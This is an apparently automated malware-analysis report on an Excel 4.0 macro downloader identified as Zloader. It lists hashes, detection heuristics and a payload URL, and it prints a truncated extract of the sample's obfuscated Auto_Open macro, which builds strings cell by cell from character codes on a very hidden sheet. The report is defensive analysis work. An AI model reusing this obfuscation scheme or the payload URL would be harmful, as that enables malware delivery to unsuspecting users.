Zloader — Office (OLE) malware analysis

Static analysis result for SHA-256 83f4e2eea6d49834…

MALICIOUS

Office (OLE)

166.5 KB Created: 2020-02-27 10:23:09 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 07e8c6c7b8ddf523e0c9c1b2366a1093 SHA-1: 8f30f4418efef083431ae88878dda407269f4cd9 SHA-256: 83f4e2eea6d49834ab33c6fd95e9d05ac9885828787e45c0e01e7dab63c404f1
262 Risk Score

Malware Insights

Zloader · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing Excel 4.0 macros, specifically an Auto_Open macro that executes dangerous functions. The macros reconstruct and execute a URL, indicating a downloader functionality. ClamAV detection confirms this as Zloader, a known downloader family.

Heuristics 6

  • ClamAV: Xls.Downloader.Zloader-f8537378cabc848c-9950315-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Zloader-f8537378cabc848c-9950315-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • URL reconstructed from XLM cell array (1 URL) critical OLE_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime), across individual numeric cells (one ASCII charcode per cell), or split across multi-char fragment cells a download formula concatenates by reference (=A1&A2&… / CONCATENATE(...)). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries, LABELSST/RK/NUMBER cells, and FORMULA cell-reference concatenation in token order.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://grpxmqnrb.pw/egrg4g3g Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 45231 bytes
SHA-256: 6054ad272dc415502a94f543a35a181b49a407dfe65493c64a3dbfa1d090f9e9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  CtOaylriU
' 0018     29 LABEL : Cell Value, String Constant - _xlfn.CONCAT hidden len=2 ptgErr  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x1d'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!S1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  CtOaylriU,A1,"",61.00000000000000000000
'  CtOaylriU,B1,CHAR(A1),""
'  CtOaylriU,C1,"",61.00000000000000000000
'  CtOaylriU,D1,CHAR(C1),""
'  CtOaylriU,E1,"",61.00000000000000000000
'  CtOaylriU,F1,CHAR(E1),""
'  CtOaylriU,G1,"",61.00000000000000000000
'  CtOaylriU,H1,CHAR(G1),""
'  CtOaylriU,I1,"",61.00000000000000000000
'  CtOaylriU,J1,CHAR(I1),""
'  CtOaylriU,K1,"",61.00000000000000000000
'  CtOaylriU,L1,CHAR(K1),""
'  CtOaylriU,M1,"",61.00000000000000000000
'  CtOaylriU,N1,CHAR(M1),""
'  CtOaylriU,O1,"",61.00000000000000000000
'  CtOaylriU,P1,CHAR(O1),""
'  CtOaylriU,Q1,"",61.00000000000000000000
'  CtOaylriU,R1,CHAR(Q1),""
'  CtOaylriU,S1,"FORMULA(B1&B2&B3&B4&B5&B6&B7&B8&B9&B10&B11&B12&B13&B14&B15&B16&B17&B18&B19&B20&B21&B22&B23&B24&B25&B26&B27&B28&B29&B30&B31&B32&B33&B34&B35&B36&B37&B38&B39&B40&B41,T1)",""
'  CtOaylriU,A2,"",73.00000000000000000000
'  CtOaylriU,B2,[],""
'  CtOaylriU,C2,"",73.00000000000000000000
'  CtOaylriU,D2,CHAR(C2),""
'  CtOaylriU,E2,"",73.00000000000000000000
'  CtOaylriU,F2,CHAR(E2),""
'  CtOaylriU,G2,"",73.00000000000000000000
'  CtOaylriU,H2,CHAR(G2),""
'  CtOaylriU,I2,"",73.00000000000000000000
'  CtOaylriU,J2,CHAR(I2),""
'  CtOaylriU,K2,"",67.00000000000000000000
'  CtOaylriU,L2,CHAR(K2),""
'  CtOaylriU,M2,"",65.00000000000000000000
'  CtOaylriU,N2,CHAR(M2),""
'  CtOaylriU,O2,"",67.00000000000000000000
'  CtOaylriU,P2,CHAR(O2),""
'  CtOaylriU,Q2,"",67.00000000000000000000
'  CtOaylriU,R2,CHAR(Q2),""
'  CtOaylriU,S2,"FORMULA(D1&D2&D3&D4&D5&D6&D7&D8&D9&D10&D11&D12&D13&D14&D15&D16&D17&D18&D19&D20&D21&D22&D23&D24&D25&D26&D27&D28&D29&D30&D31&D32&D33&D34&D35&D36&D37&D38&D39&D40&D41,T2)",""
'  CtOaylriU,A3,"",70.00000000000000000000
'  CtOaylriU,B3,[],""
'  CtOaylriU,C3,"",70.00000000000000000000
'  CtOaylriU,D3,CHAR(C3),""
'  CtOaylriU,E3,"",70.00000000000000000000
'  CtOaylriU,F3,CHAR(E3),""
'  CtOaylriU,G3,"",70.00000000000000000000
'  CtOaylriU,H3,CHAR(G3),""
'  CtOaylriU,I3,"",70.00000000000000000000
'  CtOaylriU,J3,CHAR(I3),""
'  CtOaylriU,K3,"",65.00000000000000000000
'  CtOaylriU,L3,CHAR(K3),""
'  CtOaylriU,M3,"",76.00000000000000000000
'  CtOaylriU,N3,CHAR(M3),""
'  CtOaylriU,O3,"",65.00000000000000000000
'  CtOaylriU,P3,CHAR(O3),""
'  CtOaylriU,Q3,"",76.00000000000000000000
'  CtOaylriU,R3,CHAR(Q3),""
'  CtOaylriU,S3,"FORMULA(F1&F2&F3&F4&F5&F6&F7&F8&F9&F10&F11&F12&F13&F14&F15&F16&F17&F18&F19&F20&F21&F22&F23&F24&F25&F26&F27&F28&F29&F30&F31&F32&F33&F34&F35,T3)",""
'  CtOaylriU,A4,"",40.00000000000000000000
'  CtOaylriU,B4,[],""
'  CtOaylriU,C4,"",40.00000000000000000000
'  CtOaylriU,D4,CHAR(C4),""
'  CtOaylriU,E4,"",40.00000000000000000000
'  CtOaylriU,F4,CHAR(E4),""
'  CtOaylriU,G4,"",40.00000000000000000000
'  CtOaylriU,H4,CHAR(G4),""
'  CtOaylriU,I4,"",40.00000000000000000000
'  CtOaylriU,J4,CHAR(I4),""
'  CtOaylriU,K4,"",76.00000000000000000000
'  CtOaylriU,L4,CHAR(K4),""
'  CtOaylriU,M4,"",69.00000000000000000000
'  CtOaylriU,N4,CHAR(M4),""
'  CtOaylriU,O4,"",76.00000000000000000000
'  CtOaylriU
... (truncated)